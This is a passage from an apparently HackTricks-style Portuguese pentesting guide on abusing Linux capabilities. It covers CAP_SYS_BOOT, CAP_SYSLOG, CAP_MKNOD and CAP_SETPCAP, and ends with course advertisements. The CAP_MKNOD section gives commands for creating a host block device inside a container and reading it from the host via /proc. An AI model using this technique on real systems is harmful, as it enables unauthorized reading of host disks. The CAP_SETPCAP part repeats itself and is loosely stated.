* [Como escapar de várias soluções chroot](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf)
* [chw00t: ferramenta de escape chroot](https://github.com/earthquake/chw00t/)
[**CAP\_SYS\_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) não apenas permite a execução da chamada de sistema `reboot(2)` para reinicializações do sistema, incluindo comandos específicos como `LINUX_REBOOT_CMD_RESTART2` adaptados para certas plataformas de hardware, mas também possibilita o uso de `kexec_load(2)` e, a partir do Linux 3.17, `kexec_file_load(2)` para carregar novos ou kernels de falha assinados, respectivamente.
[**CAP\_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) foi separado do mais amplo **CAP_SYS_ADMIN** no Linux 2.6.37, concedendo especificamente a capacidade de usar a chamada `syslog(2)`. Essa capacidade permite a visualização de endereços de kernel via `/proc` e interfaces semelhantes quando a configuração `kptr_restrict` está em 1, que controla a exposição de endereços de kernel. Desde o Linux 2.6.39, o padrão para `kptr_restrict` é 0, significando que os endereços de kernel estão expostos, embora muitas distribuições definam isso como 1 (ocultar endereços, exceto do uid 0) ou 2 (sempre ocultar endereços) por razões de segurança.
Além disso, **CAP_SYSLOG** permite acessar a saída de `dmesg` quando `dmesg_restrict` está definido como 1. Apesar dessas mudanças, **CAP_SYS_ADMIN** mantém a capacidade de realizar operações `syslog` devido a precedentes históricos.
## CAP\_MKNOD
[**CAP\_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) estende a funcionalidade da chamada de sistema `mknod` além da criação de arquivos regulares, FIFOs (tubos nomeados) ou sockets de domínio UNIX. Permite especificamente a criação de arquivos especiais, que incluem:
- **S_IFCHR**: Arquivos especiais de caractere, que são dispositivos como terminais.
- **S_IFBLK**: Arquivos especiais de bloco, que são dispositivos como discos.
Essa capacidade é essencial para processos que requerem a habilidade de criar arquivos de dispositivo, facilitando a interação direta com hardware através de dispositivos de caractere ou bloco.
É uma capacidade padrão do docker ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).
2. Ter acesso inicial ao contêiner (privilegiado (EUID 0) e efetivo `CAP_MKNOD`).
3. O host e o contêiner devem compartilhar o mesmo namespace de usuário.
**Passos para Criar e Acessar um Dispositivo de Bloco em um Contêiner:**
1.**No Host como um Usuário Padrão:**
- Determine seu ID de usuário atual com `id`, por exemplo, `uid=1000(standarduser)`.
- Identifique o dispositivo alvo, por exemplo, `/dev/sdb`.
2.**Dentro do Contêiner como `root`:**
```bash
# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser
```
3.**De Volta ao Host:**
```bash
# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb
```
Esta abordagem permite que o usuário padrão acesse e potencialmente leia dados de `/dev/sdb` através do contêiner, explorando namespaces de usuário compartilhados e permissões definidas no dispositivo.
### CAP\_SETPCAP
**CAP_SETPCAP** permite que um processo **altere os conjuntos de capacidades** de outro processo, permitindo a adição ou remoção de capacidades dos conjuntos efetivos, herdáveis e permitidos. No entanto, um processo só pode modificar capacidades que possui em seu próprio conjunto permitido, garantindo que não possa elevar os privilégios de outro processo além de seu próprio nível. Atualizações recentes do kernel apertaram essas regras, restringindo `CAP_SETPCAP` a apenas diminuir as capacidades dentro de seu próprio conjunto permitido ou dos conjuntos permitidos de seus descendentes, visando mitigar riscos de segurança. O uso requer ter `CAP_SETPCAP` no conjunto efetivo e as capacidades alvo no conjunto permitido, utilizando `capset()` para modificações. Isso resume a função central e as limitações de `CAP_SETPCAP`, destacando seu papel na gestão de privilégios e no aprimoramento da segurança.
**`CAP_SETPCAP`** é uma capacidade do Linux que permite que um processo **modifique os conjuntos de capacidades de outro processo**. Ela concede a capacidade de adicionar ou remover capacidades dos conjuntos de capacidades efetivas, herdáveis e permitidas de outros processos. No entanto, existem certas restrições sobre como essa capacidade pode ser usada.
Um processo com `CAP_SETPCAP`**só pode conceder ou remover capacidades que estão em seu próprio conjunto de capacidades permitido**. Em outras palavras, um processo não pode conceder uma capacidade a outro processo se não tiver essa capacidade. Essa restrição impede que um processo eleve os privilégios de outro processo além de seu próprio nível de privilégio.
Além disso, em versões recentes do kernel, a capacidade `CAP_SETPCAP` foi **ainda mais restrita**. Ela não permite mais que um processo modifique arbitrariamente os conjuntos de capacidades de outros processos. Em vez disso, **só permite que um processo diminua as capacidades em seu próprio conjunto de capacidades permitido ou no conjunto de capacidades permitido de seus descendentes**. Essa mudança foi introduzida para reduzir os riscos de segurança potenciais associados à capacidade.
Para usar `CAP_SETPCAP` de forma eficaz, você precisa ter a capacidade em seu conjunto de capacidades efetivas e as capacidades alvo em seu conjunto de capacidades permitido. Você pode então usar a chamada de sistema `capset()` para modificar os conjuntos de capacidades de outros processos.
Em resumo, `CAP_SETPCAP` permite que um processo modifique os conjuntos de capacidades de outros processos, mas não pode conceder capacidades que não possui. Além disso, devido a preocupações de segurança, sua funcionalidade foi limitada em versões recentes do kernel para permitir apenas a redução de capacidades em seu próprio conjunto de capacidades permitido ou nos conjuntos de capacidades permitidos de seus descendentes.
## Referências
**A maioria desses exemplos foi retirada de alguns laboratórios de** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), então se você quiser praticar essas técnicas de privesc, recomendo esses laboratórios.
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Aprenda e pratique Hacking GCP: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
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